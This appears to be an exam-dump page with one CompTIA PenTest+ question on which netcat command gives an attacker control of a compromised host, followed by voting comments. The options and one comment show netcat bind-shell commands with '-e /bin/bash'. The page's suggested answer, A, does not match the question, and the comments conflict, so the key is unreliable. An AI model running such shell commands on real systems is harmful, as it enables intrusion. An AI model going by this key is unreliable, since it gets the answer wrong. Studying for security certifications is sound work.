exam questions

Exam PT0-002 All Questions

View all questions & answers for the PT0-002 exam

Exam PT0-002 topic 1 question 421 discussion

Actual exam question from CompTIA's PT0-002
Question #: 421
Topic #: 1
[All PT0-002 Questions]

A penetration tester compromised a system and wants to connect to a port on the system from the attacking machine in order to control the system. Which of the following commands should the tester run on the compromised system?

  • A. nc 10.0.0.1 5555
  • B. nc 127.0.0.1 -e /bin/bash
  • C. nc localhost 5555
  • D. nc -nvlp 5555 - bin/bash
Show Suggested Answer Hide Answer
Suggested Answer: A 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
study_study
3 weeks, 1 day ago
Selected Answer: B
This command uses Netcat (nc) to establish a connection from the compromised system to the attacking machine (through the local loopback address 127.0.0.1). The -e /bin/bash option tells Netcat to execute /bin/bash (or a shell) upon connection, which allows the tester to interact with the compromised system and control it remotely. However, this command is executed on the compromised system and initiates the connection.
upvoted 1 times
...
Snagggggin
2 months, 3 weeks ago
Selected Answer: D
D. nc -nvlp 5555 -e /bin/bash -n: No DNS resolution. -v: Verbose mode. -l: Listen mode. -p 5555: Specify the port number (5555). -e /bin/bash: Execute the bash shell upon connection. This command sets up a netcat listener on port 5555 and provides an interactive bash shell to the attacker once a connection is established.
upvoted 4 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago